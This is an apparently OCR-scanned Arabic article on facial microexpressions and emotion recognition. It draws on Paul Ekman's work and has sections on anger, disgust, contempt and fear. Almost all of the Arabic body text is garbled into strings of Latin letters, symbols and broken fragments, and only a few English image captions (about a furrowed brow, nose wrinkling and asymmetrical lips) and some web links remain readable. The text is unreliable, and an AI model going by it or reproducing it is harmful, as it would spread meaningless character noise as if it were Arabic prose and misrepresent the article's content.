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*UlaV! diia. ttdli Jo .JLjaJI microexpressions ^j^j* u' j^Aj c^u^ t> j^j^' ^ J^ t> 

microexpressions ^ <g-oLua.l ^Aj^a .microexpressions ^ J ^ CjIoLoj ciljLJI Jla^> J U JJM uA^-^j 

.^lAaJl 4_iiaJl Clal -vj^V^I 4 LOi ^ ^ <uLlJj (il^^LaC AjLoa. jaJ jjui ^la^J 

l^aj^kj tj^ljl s*l ja sa^j ^ jjS! t microexpressions ^ J <j-^^ ^ jl <g-oLua.VI 0^*%* 

J microexpressions ^laULJI .Emotions Revealed and Unmasking the Face cfry*^ ^ l-AjSII 

a'\-\\ (jjjAi^aa' (jja-V J J ^ ^lAaJjoal t^V^rtJ C \fs LSjfi U' £J ^ * ^ >u1 J^ 

.c_jjj3I ^ ^ J^Lk ^-lia microexpressions J jW^V * j^** ^j^ 5 

httgT/wwwxi^ 

4_JaA3 jjjlII dlVt^V! ^I^kloalj a^ljal (jjja.VI 6.1oLaiJ ^JJjlill dllj^l ^cjjj J'j^ ^ -lal^Jj cllaJl li& J Jla^Jl (j*ajl J jJ JJ^ll ^ 

.( http://www.paulelmianxom/product-categorv/face-training ) ^jjjVI Jo Jo 

?Truth Wizard ^ • 

.k^jl<J! jl£ iala 50 jl ^-jj 6 C> £i^i 15^000 i> J^' J-£^W ^ jliJj^jl (j*aj| j>&^I 'Truth Wizard jt J 

6(ja.V diS j J) .4a. j]| jjjLu tila j a fll un^l j o^ljS Jo Sj^l (j a > X)\ La Lllo oj^ll £>i& .^lAaJl c J^&J Jc-I bjSsl] ^J^l (j*3 

^ JJa J^c. Ja£3 La jjij^ll AJjlII 11a InC.t .^U > nj ^aisLill <Lla jll diljjnxJ -li^J j L_fl^x!i3l ^aisu ^j) (j-<^l JjJ^Jl Cliil 

^il .Truth Wizards j^j^ jj^^^ cc ^>>i^U .cjL^jVI Ac o ^ cJ-**^ (Jjj^JI 

^jIc jjc. ^c.Uj I^j^I (Wizard) * ^i" (jl j^jl j^j^ ".u^^j^^ ujj * ^^^^ cJ^" u - *^^ jj^^^ 

http://www.eurekalert.org/pub releases/2004-10/ama-ladl00804.php 

. http://www.onthemedia.Org/story/l 3 1287-the-face-never-lies/transcript uj^j 

t^^jj^VI AjjjoJI ^ jj^ MJ^J t^f^ j '^J^Jl 4_xi^Jl (3^^ C-U^-*^ .^c- (jjiJ j& (te5 i^ cJ 

,(jjjU3l ^1 ji\ <J-gIxj3! ^ ^^f^- 'Cryptologic Cy^^ Aj^j^ ^ ^cLai^ qh^jSI aIia j> >ir> j 

6^31 l^U ^jj ^ c ^i£ Jjj j&Luj . microexpressions j macroexpressions u^? tij^ J Vjl <Ul£Slia ^ 

6 (u^ 4j 2 ^ clA^ macroexpressions j c> 25/1 5/1 t> microexpressions) 

microexpressions t> .o 1 ^^ ^^L^l ^ macroexpressions j* cr^^^ (ij^^J 

.^h^til tilt ^1 j Jjill ^qjq^ll C5 iSalxJl fj a\\ C5^^ ^ J ojIaJjoJl (j^dJ V <(5^l jj V <^A 

11a Jjj jjj^JI JlS ?l^^LLx» jjSj oi^j t_fl^JI j! UUli C;f jxj 11a J^i 6 microexpressions ls u' 
s jjxjL^alt cj! j^ill cJ^- c> c> c^j^^ ^ J t** ^ Microexpressions .j^As 

\ j> ^jl£ ^^-^ J . (j^akjaJI ^jl£ lij L* Ai^x-<J ^a^Ijujj (jl (JjjLII o^ljS j-<i 1 a*** ^jl£ tit La 4_juoij ^ ^laj (_^i3t JIjjoJI 

a^jj V -Ul 

6^ljS Ajulldj ;4_SlajVI Ai^}*^ 6L_fl^Jl til jLaJ CjljJjirMt (jO L— 1^ illj (JjjLojVI L^ Aj^J (jAjJaJJ ^-j^pJl HA I Ljd£ - L-J 

^CjI jjjtMI (j>» ^j-<^^ 

(j^ V^J .lasa SA^I j AjjI^I V t"tiLJ" ^ cilli c_jI j^Jl (jo dlaall ^ ^^31 j t4 rtuKll jll diljjnxj djjlj lil .1 

_tillixjJa plljl ^^Io ^oLaiJ . JJJjuII 11a Jj£-ia ( ; UjuJ (jo "aL^J AjjJajS" ^-^aj ^^^-Sc cdjudjj ^>f^J 4til3i 

Ja^jj cdl jj^IIj t Lud^Jl AjlSj jll M uULkJl CjI £JA^ (j-« ft^llLuiVI '^Ij £< fc 5 J ^ (.5^- j^JJ .S-^^J^J LlaLu^q (j£ ,2 

#( ^J jj^all (_5 jl^Jl j tdi jj^all 

m ^hA\ aJ^I j^Ij 2Ltai| CjIjUVI J^ r I^L-l . jl J J iUj| JjS c UJI c^jll J£ .^Jl Jl ^Vl J*^i V .3 

aKIaII <^.l ja! \ * * jjj ^31 <LILJ| 4_jjlijj| (jj^J (jl t . laJ (j^Jj tCj^j* I^jV 4^jojL^JI jll CjIjjjju 

(j-a^JI liLJ J ja. djLialjjaVI J*aJ V toljj L» (jjiJI <j> j Jo Ai^u L» J£ 6^1 q <jJa3 

.lUaJ J Ala. J^Jlj I^A j .liLJ J Ua. (jia jail <LllxJl L_ il aJJaJ j 6(JjjLojVI -la Jaa. j <11ojVI Jl ^jala. lilLA j m A ux a 5iialo (jia^su 

jjt-uill j AiiaLJl (jjj (J^)i3l 
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(Emotions versus Feelings) j^Liai! JJi* <-ilalj*JI • 

^ jj j tA-lLaC." Igib L_alal jxl\ (j-a£jl jjJ^I ^— AjC- tcAlal jxl\ t ^ _ jcLSuJl (JjjLujI ^ LLLuj l^Jj£i c _^j3I AjUjoJI L_alal jjlSI o^cla 

^cl j3 (j* <c a j 61— lAaj L_fl jjoj \ Vn^li^)3 Ljjui (jL jjuH I^jS j > rTN ni ^^jJaLa (j-a UjJ Loj jjtii ^litill ^jj'qMl (j* (j^*-* 

.(>lj]| c^S jll 

( aj£ UjUti ^LgJ! ^1 j£l J^*-^ ^ajL ^L»JI ?til3 Cj^j lit* .Ajjc, <Jik3! Ia^IcILujI Alajla ^5!^ ^ <Ljlaj tilli .V^ 3 

tillil ttiljji^J jl ciLjl^ tilUl j (jt£ Lojj jl , (Jiiall (jj^Jl J c fljalxjlb JXj^I du£ Lajj 6<Ljia3l £>^£J cilx* J-at*JJ cilUl j (jt£ lil .^>»Jjj 

jl <iialc. l ; 1^1 6 JUIaII J^f^ c^C- .^-J^ <^ ^— J '^^ cAlal jxl\ ^jl Uiajl ^li ttilli ^jC A^jUll jcUlxJl ^ 

^cljj Lajlj .AjUjoJ! 6^cli3l L_Llal jC ^j-d SA^J j C-LuJj] l^J^l J 6<ilalc. (fc5 -<iJuJJ LJlc. L_L^Jl .(3^ ^-^^ 6 J^* - ^ ^ ^Sj*J du£ lij ?J^Xjo1 

j ^jl ^j£-<»jj UJ^ clA^ .< ; w j (jl ^ . ujujj (jl (j^j oL^-lLJI .^-i^j (jl U3 < ; (jl (j^J 6^I^xjoj (JjSj U»^jc 



(jl jjj^Ml I^A . "IfrT.rt (J^IxjII l^ij ^^jll AjfljalaJI CjU£ jLoJIj 4_Laiii3l Cjljjilill (jx» <C a" (JjjJ <jli ^ L_L^Jl ,L_fl 

jL^ajVI ^UjI l^l^klojl c^ljixj c flj£ tilj^LaiJ <iSalc^ Ji3 ^JJ^ aJUII ^LuaSVl 

(Anger) <-^aiit 4 



(j£^jj 6c_LjaiJI ^1 jc^aj (jbjjaiil (jl c_bJaiJI ^ s jji^ j^VI cjUjoJI (j* s^tj" t(j^l jj^^ll Jjij 'Emotions Revealed 

(jl (j^J SjjU-S j5^VI jcLulxJl ^jxi 6^.1 j ajLlicU L-bJasJl 4_juoij <Jj^al! li^ (3^*^ ^— ^ J cs^ ."^J^ ^JJ^ ^C^-aJJ (jl 

^<jjJaC. ^ a>_nj c (_^il t ■ UjujJ La (j^rs >*>1 

(jl ^jQj^ (jjjalij L_fl jjoj la^V ,4_nLaJl AiialxJl LbJ <J*^1 ^j^J a <^ J ^ J^a jJ^alll ^^Jc. Ljj^S ^aij (jjjjJalc. (JjSj L»^jc 

\ <alt ^£|^xi (3^ (jl clA^ L-ljJa«Jl (JLd AjJ^ll ^j&LjIaII 

djjlj 6L_jjal c - 1 j ^ -C5 ^LiVI 4-jL3I (jc- Iaiaj lial j Ai^LauJI a£jJo!3 djIjLjaJI L_aa ^l L-jlAilL duS c_ 4djl£jLiuJI (j-d j ^ 
_<j <j^LkJI Cj jj jL3I 4x-Lqjuj (j-<i i^v Wij ^jl£ _^jjjjj^)3I l_ijU3 (j^>> ^ll CjIjUjoJI l_ ajSj (jl^ Aia jlxJI AjjLloj ^^>^ 

_<JU3l ojjj^ll ^gk ^jJa ^<JI J£joJI JiLd (jl^a (jc- AjjIj Lg (j£3 j tAj^L^xJI ^LdjaJ Ia^. Iaixj el n£ 

All the classic signs of anger 




https://www.facebook.com/tibea2004 
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CllUaUj C*Ui Asu ;U» (J ^ ui Jc ( . U^i jU J&l lajl] ( ♦ W ' L - L( ^ Cl^Jj^l ^aJ .L-bJalc (J^Jl ^ (jj J J^ *J 

.(JjSJ q\£> Ua £ajujI (jl ^llaJjail <J^> (_£JJjuj Sj^J 
(j-a m( ^J <j^aLaJI AjujjJI J J^*J ^^>^V ^.IuljJU ^•^^ 4-^j3 ojA .£jU3lj cJ^Jl (j^ iS J 11 ' L - J ^-^J ^ ^ c — **- AjuJ 

6<$jaJI c . u£ ^ diL ^ j J^ <-jUJI Jl t - u t * ^ .diS jll a ^ L ^ a Jl el jjj^jj (jt£ U' tlAlil! Jll ciAj^jjj^ajll j!^. 

(j^aLkll (jJLaJl (jJsuUll £A AjjuiJJjll UUjakll (J^asu till J (jjjJJjll <JUi .^jJ jll 4_xJaj| (j-a ^qViti U& UI <a UI tU^j^" j 

" ?Ajljk]| (JA ^ jj£ dJ (jj| J (J jflJ (jl till (j^-aJ ^AJjuoSUj jlstjojl J L_JC JJ J 

^U^j U& o 4Aa^.I" ;l_jU» jlx>JI U^. jl jj£j J^-j (j* ^^-^j ^-^-^ ^^>*^ 4'q\* a\\ l_jI jjVI <J^-^> (j-* J 1 ^ J ffi. Afl < *aU 

a j Jl (_£j| L-bJaaJI *UjJ (jl ^ <Jtla3l j& liA , "UKLabd aJ jjuj <i! (JlSj .^—^ J^ 4jjUaJ ^Uaj (j-a (jlaallj Jc <J jj^^l! 

J£ ?jj jla C-u\ ?<J£sl (JjaftjSlI . L-jjJaxlU JJu!£ LdJJC C-JJ^J Uu3 jj^qMl Jj^a .L-bJaill Jlxiil f.Uj) Cjj^j ^UJjVI (JA J£&1\ tilU^ 

^jJ^aJ (jjoilill jld ^ Ai <aJ Cj^jJaxll (jli JUIUj 6<jUill JjuoaJl JJtHujJ l— ^tjjjn j-dl IjA 

•c_jjJaiJU JstJoiJ L_ 3 jjuj 6 jJ^J oiA ^Laul ojIcI ^CjIjjc^jII j jj jjII (j-d JJJ^ll (jiajsu <J>. jll ttillj Jj AiLjaVU .<-ft£j^ (jj^ (j^^^ J '"^^ 

J j^ Ua£ ttiljjj^l a J^.1 jll ^ j^JU (ilijl (Jjj-oIj (jl Jj^-^ c^IjlS JiLd Ujj^j tlx-^j cJ^^ Jj ^ (j^aLkll (jj^L^JI l-l^juj _ \ 

. JU1I JIJJI 

tilj (j^aLkll (jJf^ll (J^' J *^ (jj^ 6 ^ JtJUJ l J ^V 1 J r ' (j^ lJ 'lJ^^ ^ <j^Lkll 4-i^l J^ll 1 .2 

.( JU1I J£Joll J ja ja U£) [glare) ^ j ^ J*-^ -3 

The brow furrowing and stare are intense. 




# <ilil! (Jjj^a ^ 46JjJjou» ~y aJ tiljUjajli 4 JU3I J£juall J La£ jji-o dljl^ lij 6 jl ,^1£j^.U Istxi Aja uj Jc JastjJalU ^3 ,4 

.ciSjjij ajU^I JftjmV u^qVi U Ull6 jSill .5 

A tense jaw and clenched teeth are indicators of anger. 




^<Jj £A is^- ' JJJ T ^ Jj U»JJC \ * la^.^lj (jl t . l^jj (Jl jj V ^i^- ^AaIj djA (j^lj tJJJjuoll L-ljJaaJI J^-laJ V jjj^II djA 

L-bJaill Aiialc JatEjll JJJ^J J^VI (j>» U * a jQ^ 

(j-aj^juj (jj^J UiJJC 6jlc (jj^J A5 La£ J* ^ ^ (_>jJ (jJJ^- .< ; jjJaxll (jxi Ajik 1 j^l j 4 jfLj > >i!>l£ djL<i!>lc. j^ laJ (jj 6(jjjajLoi3l (jjJjjj^all ^J 
tililjAl Jc JJjJ (jl J lis. tiljcLoaJ (jl (j^-ftJ 6 jlalaJl (jiajxJl IjA AjSI jxi t^JfeV! J^ j tt^jxjll Ajflj£ ^aisu .c flj^o L_JjJalc. 
(jjj^,l a II _4Ja jxjJa^Qj SjJ jJ-«j A 9J - ^> olLuoll ^Jj^aJ L-ljJaaJI ( J _(_£ j^.Vl CjIjjjjljII j Zaa J (jc Ajia^.^ a (J^juJI (j-o (jj^J Ui ojIc L-bJaiJl 

.{glare) ^ j^^ ^/-^^i (j>» <lla^^ a jj^VI <^>.>ill JU ^j 4(jjjjjjau*j jjL ^^IiLqj JLujI Jj (jjljU» 

filjj Ui t^^^jai (jxi L-bJasJU JJtJoiJ (j^akjaJl (jj^J UiJJC UU^.1 (_^J^-VI jcUauJl (jxi JJJ*J| Jj (_^JjJ (jl (j^Jj *Uj3 <ilalc L-bJasJl 

c> 1/25 M cj1£j^ ^jj (jl ( jT » ^ t (> J*^ ^ -c^^^ ja U Jla microexpressions 

,6J jJjouJI L_JJ>I J^JI J 6JJ J^ll olijaJl j ^cA jll -C5"^"^ lS^^^ J .'SH^^ 



4 https://www.facebook.com/tibea2004 



i^V Jittl .<.i.»™ti 




.ha* lAiau l^lksu <J,\lUll ft^jUll Sjlaill ^LuJ! J^Jl ^ JUJI jfc U£ ^cjJal j jA U£ UUj 

tilaj ^laaj d^IcVI UiHc .iAeljj L_fl£i ^^sll AiiaUJI jaj ^lA 3 ^ ^^V" microexpressions Sj^SIl (jlisl 

J-gIxjj (_^ilt (j^i^ uoI3 Ajjuoiill <IlaJI cili£ 4 laiiH £>i& lie ,iiUi c . ujujj ^ill JUijVI ^ij ^jl (j^j <J& 'microexpressions ^j^Jj 

Djj-ijtuti oliixi (jj^J (jl (j^-<^ l5^>^ ^ ^J^-ljS j ^JJjj (^ic Sj^l ^a^l (j^ J ciLuaij C5 ic J;1jIxj3I i>i& ^1 mYiml Jala ^jjjJ m 4juz 

(Disgust) jl *t 

Ujjuj (jj^J (jl (j£-<uJl (jxa U^J L>^ Lajh (J^ 'V^^^juJI" h& .4_±aJ V lia. t^g-ui (^C- cJ*^ UJ^ ^Jj^ Ailalc jl^lxujjVI 

C*LilflJ ^5^. < ^ UJ jl ^^^jj J^l ' J 1 "V^ '(JJ^^llI 6(Jjili3l 6^juJI <JjS (j-G 4 nil (j^J jl^-^Vl jl ^t^lcVl ^^^C LajIS 
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Ajc IjjlxujdJ (JjjUII (J^asu t flj£ ;^.UJjVI (j-a jl jl.<iuiVI Ale .Lo ui 4-JjS jl j-lui3 (Jsl9 ^j jjjj jl (j^-oJ jl jlxujdVI 

In this disgust expression, we can see both disgust and hints of anger. 




_4_ilc. j& Ui ^^ic tillij L_fljlxJ V Ig-jV £-^J c^C- (_>J^1 La^JC La LJlc. jl jlaJjVU JjaJoll jl JjSJ J jJ 

AjUjoJ! (j-a^l CjVI^. AaajujJ (jx» L_llla LaAjc .ILiaO UjVIj^jI J^f*J (j^-aJ jJj^VI J-gIxIII Ale jl jlxujjVI 4^j^ Ujoiijl c_JJj^J Asu 
jl jl jlajoiVI U» Ij^U .L_LJaxJlj ;L_fl j^. ib\ i4-U j^. m I jJlSj <C JjuiJ ^A^jjoij duUj (JjjUII Aiaa a jli ;4_ia31xJI L_aJal ^xll 

# 6A3^)i3l 1 g > ^)\ > ^rs lg_La j£3 j tL-bJasJl j jl jlxulVI (jjJJ -ial^J J;}^! (jl .^5^ <n^VI (jjj.Vlg a\\ j£J j 6^-lj^jl 

,<J <JJjola3I j ^^ic jl jlxulVI (j* <jJa^ j (_£jj J 6^ jsi* uj jC (J-^ '^J ^ n^ll Cj^ljlLi c-l^alj ^alS jjjlall ilij] lajl > >i 

<JJjouJ| jl jldjaiVU jl£ lil La Ai^x-d ^1 ^ll^J iajLjall .tLaC jj£I L_jI j^lmV ^Jj^Iall li& <J j jj JajLjall ^tl^J Vt^lS <JjSJ (jl (j* l^La 

.AilalxJl tillj ^^A 3 ( ; Ujuj (jj^J (jl (j^-^J ^>^-l ^(.^ L^l J' aixJl uj ^ cJ^^ J' ^ 1 u (jgk <J 
."Aijj CI n£ Uu» ^)£lLi jj£I tilli ^—S j^" J J^ ^ » > ^*>j t jjjtMI 11a (_^jli3 ^^>^ 

Cj^j LdHc IxijJ (jjAkJl (jl U-kaj| (^^jJ .c^jVI Asc^j j tjljjojVI (jc c &juj£jj ^ijj/jUjj UlxJl AiJoll (jl jl jlajuiYI j^ 1^ LJlc. 

.Ajjjoj <^jIj ^1<J <!jL^xi ^^j 6L_ajVI AjcL^j 

. jl jlaj^VI l^a. Jaj^Axi (J^ajC ^ ( ■ UjujJ t, ^ *\a ^Ij ^Ull lS^J^ <-S^J^^ ^ > ^>^ ^J 




aJsl^^U J jl^. .dj^lclijll ^ l^lAklojl j Latajll ^^UlL^VI (jjjAi^xJl J jl^J ^^1 3i3lk^3l ^jJal 1^11 (jxi ^1 jl jlcu^VI ^luoflJ ^aJJ 

j^Jaj L_fl jjoi 4(jLi^.VI (j-« ^ .' < ^l£ <^jI^)1 Aijl (j!>lc-l 4il jl 6 C5^^^ cJ^-^ jA La£ ;L_ajVI ^taj -1 
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Notice the nose wrinkling. 




(j-G J£ £A jl jlajuiVI J^l <J£juJI Qlll .^jUjujVI (j-a ^ j?" CS"^ J J-^ UJ^ ^IiVIaJI O^su j l4£ jiLa ^ j> <aJ alijujl -2 

.Ul*-Il jlLulVI (jiajCj LS ^C*\ ^\ Aiulll jJ 4 C5 £ : JjaJ^l£3l jl ji<U^VI ^ jlq^llj 4lli_xJl filial 

With disgust, the lips may be closed or open. Either way, you can see the lips furl, exposing the upper teeth almost in a snarl. The cheeks often sharply 
crease to form a large inverted "U" shape going from one cheek across the bridge of the nose, to the other. 




Disgust can be followed by anger or irritation, as shown in the eyes and eyebrows. Though the eyebrows may come somewhat down and together, as in 
anger, no glare of the eye is evident as in anger. 




^juol! ^Jc. Lixi ja jC ja»g_ll j^-£Jl £^ <-!j^-^ f ' ^ L — ^ .L_ajVI (J^^A 3 (jC- (_>iili3l L-Uu ^11 j-G £jJa jll I^J ^U£3I <£c> 

<Cjjujj ^-UjjVI ^Axj jxjSH tilLt^J jl j^aJ (j^aoS S^aLuLa C5 la. .ftjLuj AiJalc. t^jJaljll j* 4 jl jltulVI . jj^aJlj 

jxi .CjjLo C-^^^JUl ^ JJ^qMl ^li. jl t^juJl J J> ^^-Sc JslS dll j 4 j-o£j| JjJ^Jl laS j 6 jcLuuJl till} j-G S.la.1 j jl jldJulVI 

du£ lil U ^Luj j£*j j£3 j ^taill CjI jLu^ (j^Uail Jl j& V AikUJI £>i& <ua.VI 4jui.%lt jlaj <$a. j 

.tSljlSfli jC 4_lk- (jplc-L <! L-njuull jl (j-aUJl L_fl^Jl ^Ij^aJl <a!>U]| C^JjjJa 
till] jLa-a ^Ldl (J^-j ^ g ^ ^ill J ttiL (j-aLaJ! L^^Jl ^ ^iAoj Ailalc i^Jx jit jl L-jaiill j-d Jj^xJI tiL^l j <3 J*J* 
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(Contempt) j^V! ±. 

^Ul! Cjla j^aj jl (j-a^i Jj^. iaia s jiiJ! ^ji Jil*.vr ji jj^^I Jjij ^Emotions Revealed J 

Jfl IgJjLj ^ UJ AjjJ AsU . jl^lxUjjVI Jl (Jp^Jl ^ J^J ^ j^^^^ *^J^ UJ^ ^ 4 lS^*^ Ai^Al (J^^U VLla ^ L<~ ^aJ 

,<juaij Jxill (JjjJj 4 Jxill L_£jjI ^a^juoll S-lj^jl (_£-^JJ 

^^>s '"(Contempt and Self-Esteem) djlill f'j^j J^VI" aSjj J 4LuULui> <«^U <> d^L y> 4Yixue Zhou 

."<J (j* J^l LcLolJ j\ Li£Ui Laj 4jI Jc lJ^JI Jj jJajj La^ic <C ^a-a^a jl ^jil jlatc Jxi Jj" 4jI Jc jtfii^VI/*) J^jl 
L-flj^xL I J-aLi 4 M jlil^.Vlj L-ljJaaJi (j-a AjcI aJ^VI L_ajUa jJlj (j^ajL^aiJl jl ^J^jjJa" (jl j J jjJJ 

IgjJajC t . ll^aj (jl AjcLoI^YI <jojA^JI <J-oC J jll 4-nLai Aiialc S-lj-^jYI (jl <_£^J iJ&^l (j-* 44i3lk-a3l dllij^sdll £>i& <j-a 

.IgjL-a llfilclij J c^Uj jj V (jlj ^£L3L J*L j 
li^ tgJ I jl^l jll CjIx-11a3I <C a jtlkL ^IS ^l^. ^^^C-^J C-I^-J d-ULAjuJ ^13 4d)l ^j^la ^j-a <C j-o^al (Jclillll (j-a «^lj J 

L_fl3lj dlU ^15 j) J^Aj ^^^J <j| ^^>su ^J-^Jl (jl A^Lill Ljajl JJjuoJ >( jl£ ^jjj 4<^.LaJ Ja^a J;!^ V ^-jl cJ^-Sj . j^ll 

. JU3I j£Ja3l J Lo£ AiiaUJl tJlj CjjIj 4IAisu (JjJ^-VI (jlS (joa. J . J^JI li^J 4jJaikla3l 

Tlie unilateral display of contempt 

/ . / 

. . Jl 

"4jujjiastla 4j^Cj (_^AjI ^-j^j .1^. Luc. ^jl£ (J^-J^l ^ La 4dL^aj| (j^lj 4A£jJd3! J 

. j^Lla 4jI£ 4j j^j "... ^ > nVi J^j Loa <j| _^ jjjj (i^j ( j JJ J 4jJ" ;JISj 4<l£c S^ljS ^iLlajl Jl 

ciljl ^£Ha til 4<Ljia ^L tllui^" 

Jl L-JAia .Ajli jjjsd C5^J^ J .'^J^h (3^^ c^"^ ^-^W ^ C5^l J 4 C5 -aLaVl L-jUl! (j-a CllJjjal Jfl L_u£ CjS jll tSUi J jku 
(_^ jlaboJl Jc ^akjaJl £-a Jclidll (_^jV jAcLaJ jll J^LtJ Jc J^)3l j <C JjudJ o^ljill Jc 6J^3l , Jj Ja J du^i j 4<L Ja 

. Jfall Jj lS^^I ^ J lSc-^I . J jJ^JL ^>x-^ ^ill jJaUJl 

J La£) l^al^Jjajlj ^Ij^jVI c5jl (jl clA^ 4 ( ^cLal^.VI ^j" ^ ,^UalxJl ^cjouIL ^ - gaJl V LI Jll jcLloJl tSUj (> fi^lj ^ ^Ij^jVI 
^jJa Jl ^jIj ^j^oj 4jV .C-LJasJl Jl Jj^Ij ^j^-oJ 4^jl lij tjlSj^VI . Jjatjuoll I^A Jl t^Ljal jl AjjI V LI ^jilj 4(lJ|j 3JLa. 

<-^^)jl (jl ^^)l Llj 4^gjLuJ 

J^jaU ^aJ (j-o£j| jjj£Jl m( ^±i j cJ^^ t^J <iaJJ^a l^jV jl^-^VI (j^J ^ (g 1J1 lalaJl ^JJ La Lllc. jll 1^. Ajj^II Ajjalx]! j& $\ jVI/jlil^-VI 

.AjjojLojVI ( fllal ^xJl (> <! J jVl <-ojU1I J ^Ij^jVI 

j-oauill jl£ lil La Ai jx^ Jc d j^la jj^i jl .microexpressions ^il j^i ^ c ^l Vaj o-^ 1 ^ 1 j*0^' 

# AiJalxJl t . Ujuj t . u£ ^jc. jj£I AjA^J Jc (il^cLoaJ (jl (j^-oJ ^Ij^jVL ^>*jujj Ajtxi J-alsUJ (_^ill 
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Notice the raised cheek. 




The unilateral display of contempt 




j& Lo£ ;4jjlL<» 4jfll£la3l jjc. AijaJlj jll ^ < . uL^JI (Jj^ (--Jj^l Jl^Jl 4_SjJa*J s-lj^jl <j!a^>xJ tdiVl-^Jl (j-a cs"* 

In this contempt expression, notice the asymmetrical turning of the lips. 
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.^Ui^Vt 

Cjli , jjjtMI ti& ~i i^ii ulj Ajjj (^^ic Ij^la UiAic J jj-*^-^ W^-* * '^j^j*^ CP" A *^ 6 ^ ^ 

Ajtl j\ g J (J j^. ^^^juJ J^1*J ^ J L— lj£ lij <C.JjudJ ^JJQ^j ^aJj^J D^lcU ^3 tliUJ ^ULo JJC- Clu£j (Jclijll tilli frX lij 
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(Fear)<-Sj^l 4- 

?c_ liL* .Uj^juj I^Luj i4 a\)^a ajj! j ^ ^.1^<JI ^flL idL^a ,(il3 4.iuu3lj ^gijalx]! ^ a\\ lP 3 *^ (Preload) { " u '^Jf* ^ 

^jflj ciiLijC ^jujjj tt-*lji^l^ cJ^-^ ^ Qi±A j& La£ _UjL^. (jj^J Ui^ic j ^^Jc i— lAaj La (jjaiill ^gk \ jjI (^^^ 

All the classic signs of fear 




-C5 JU3l J£Ja3l J^*-^ ^aU^ij ttilAla ^Ij^.] .ojcUlxi ^.ILkl JjI^j u^j Is^-^ j'j^ ^^-^^ u^-^ c3^^ 

Signs of worry 




^Ikll CjL<»!>Ic laj ^jj t^jjjLuJ! (J£juo3I .4 *^ ia jlil! (j^axj (Sjfij £ **?^ a 6 ^ u ^ cl>^ c3^^ ^>*-^ ^•^c 

C— Lia 4L_fl j^JU dili (JjSj (jl (j^J (3^^ Ai^>x-<i ^^>^AJ .djIjS cJ-dljJ 4iV ^jujJJ ^5 4_iiiC ,^jJ±aJI ^ ^ laj o jll a'aUi^u 
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(JjUjui Jc ,L_fl^Jl L_fl jk jj D^lcV J^a] AiL^a] jl JJJAJ ( ; l^J 6<il3il .Lxjua (jj^ ^ L ^Jxillj Jk3l/L_fl j^Jl jJjljjjai (jV 

jC L_Llg_II c_fl ji> 4.1^ jj S^tcj" - *all jtj^t ^ ?I^£a ^jj*l J*" (j-aUJl L_Llg_II J L ^s\\ ^^Lk j& AIL JaJ Jfl 4 Jliall 

Lu» jj£I lilli L-laJ V Ul -( *_jJa jll 4-lJjoiJ liA ^IjjujVI J* ilulla ojbVI (j^Jj S-lUaJI I^A jl ^il Ul "Jl* * J^ J j3 (Jjjia 

aJ jjjoi-<JI Aic c aa^j 11a .&J^V^ M^-^-V j J] <— ^ ^ ^ cJ^ uU? ."lU*-^ l^A J] 4j*1^j lil (j£3 j 

.ajljS jL^jl J o^cLoaJj 

(jjj^Vl jc^Ulo Jj £>i& AiLJaU ^ jii la£a (j^ji cUa j^ j Jc^ jc^I/JIII/lJ j^JI CjU^ l\l 4j1 ^ J djU^Vl Cj^Lu> ^ 

<li Qflj]| s-lj-o^Jl ^IcVI (j* 

(j£-oJ 4il Jj JJjuiJ (JjjI^I ^-^jj Aijila <LgLoUjI (jc J^*-^ t^JajLa <LjlaJ (JjjJ (j£3 j o^IxjoJIj jjt.uJI (jlajC (JjJa^VI (j* diVl^Jl 6.JA J 
Jc .AilalaJl i>i& cJc-^ ( ♦ 1 >JJ L>* ^ ^ J A J Jialx-Sl j^l Cllafljll ciljl ^ liA <JyuiJJj3l <ja£i3l .IgJ (jjJ jll 

.(_£j^.l Ailalc jl t . UjuJ A-ia* jJ 6^lcj (j-G (j^ajjl (jLajJa Jj ^HaJj lillila tl^J J*-^ (J^^ >*Ml <jl£ liLJ LdU»J l^ULo ^3 tiljl 

_ jil j^J ^ j^iJlj Ijla i o ^jjlifljuoll _(J^.UI ls«_xi I jjujta L-JL^.) (jl <J 4^jujI_5 (jUaJ Jc- (j^*Jl t — * 

J a£jU1<JI Cj\£j^JI Jc; ^Sj^&LaaI JjS J jj jjj^^I c> jjIj^II o«j . j^»j3I I^a jlg-laV S^lc- jlS lij Ja^idj 

.CjS jll (jjoii J tiL j-oLaJI JLoJI <jaaJ! jj jJ tUlxui t*Ui jl£ lij .4_J| Jj^aJ (jl <l3 ^UjjI ^gJ^aSI t^J ^aUJl UlxJl (jjiaJl ^ij 

, Jljll (J£juo3I J (j^ ^Laajl 4_LalJJj3l (JJJ^I (j>» 6^.lj tL_fl J^JI ^ 

The upper eyelids are raised, and the eyebrows are raised and pulled in. 




.UjjU J\\ » ^ir, ^ujjj jj^I liA jla djjlj Jaia "ciLi"<-^ Jja <S jU^ . JU3I JUJI J (jj^ jA U£ tUaal 4^ 

Tlie mouth is laterally open, and the lips are stretched horizontally. 





jail (jj3 (jJJ«Jl (J^a^J (jC c aju^jj UlxJl (jji^Jl JJJ jjj ^ jflJ 1 ajjj t^Jfa*! ^ ^ij 
jA 11a (jl ^ jjJa jJ (_^JJ (jl 1 Vl^ tUj j^. Jai-xJl jll £a J^ M ^ <Jaij jjJa^.l lA jxjoi \ ^jjaxJ \ <j)}^ ^ J ^ IJ^J > n 

# ^ai3l j (jjliaJ! (jxi J£ Ui^jc L_fl j^Jl 

L_fl j3 jllj 4L_fl j^Jl ^^jj o^lcj J 4jjt > ^> tilj^l <jl£ lij .C— >AaJ 4-1^ jl jJjoiS CjIjjaj ^1 Ja^-Vj *dIj>J1 J L_fl j^Jl (j>» <»_ij| j^Jl oi^ (JjjjU» 
jll (jji*-!! JJ JJJ L_fl J^JI (_£ ^aill cJ^joi J^ ^ / fll^Jl Jj tiLaalj £3,JJ (Jl^. " ^ j JJJ JJJ JJJ JJJ JJJ J j ' ' J j3j ^AjljojIj liljJJC. ^jfll tolj-d ^aUil 

. JStJoiJ t * a J^ L_flJXJj liA jAlJ L_flj£ AijX-d Jc (il^cLolJ L_fl jjuj 
^ jjJa jj <_£JJ (jl t^Ij£ <l3 JU3I (J£jai3!) A LLudl] L_J J^jll •JJC <jjjV 6jjj^3I (^jAj^ J J^jl .AiialxJlj jstjujj L_fl jjoi tiljl ^^.jVI 

# (jiaj3L!lj <Jj^ m^l olijaJl ^ ^ill j AjljojI jll (jjJ*Jl 6(jl jllxJl ^jJJ^LaJl 
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7"* 



CjUaVl 4 JllxJl J^f^ Jc- j1*-a!I j-a <ilAJ <«-laS jC JVill jl Jc jliJl Jl ^.^IniJ jl \\a)~A Jc J j> c_fl j^Jl 

